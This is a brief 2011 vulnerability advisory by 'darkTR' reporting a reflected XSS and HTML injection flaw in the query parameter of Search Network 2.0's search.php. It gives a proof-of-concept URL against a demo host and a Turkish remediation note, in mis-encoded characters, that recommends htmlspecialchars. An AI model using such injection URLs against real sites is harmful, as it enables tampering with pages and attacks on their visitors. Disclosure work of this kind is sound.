Search Network 2.0 Cross Site Scripting

`##############################################################  
  
[#] Script Name : Search Network 2.0  
  
[#] Vulnerable Type : XSS Vulnerability  
  
[#] Author : darkTR  
  
[#] Date : 03.08.2011  
  
[#] E-mail : [email protected]  
  
[#] Target: : search.php?action=search_results&query=[XSS]  
  
[#] Demo: : http://developer.searchnetworkhq.com/demo/search.php?  
  
#############################################################  
  
Exploits :  
  
HTML ÝNJECTION  
  
http://developer.searchnetworkhq.com/demo/search.php?action=search_results&query=“><marquee>darkTR<%2Fmarquee>  
  
XSS  
  
http://developer.searchnetworkhq.com/demo/search.php?action=search_results&query=[XSS Attack]  
  
Açýðýn Kapatýlmasý ;  
  
  
Htmlspecialchars kullanarak açýðý kapatabiliriz. Ýndex.php dosyasýný açarak ;  
  
$result = file_get_contents($url);, (Helvetica, sans-serif">Bu kýsmý aþaðýdaki þekilde düzeltmeliyiz.)  
  
$result = htmlspecialchars(file_get_contents($url));  
  
Düzeltme iþleminden sonra ">,<" gibi karakterler html’ye dönüþecektir ve zaafiyet ortadan kalkacaktýr.  
  
darkTR | Code Hunters TIM   
`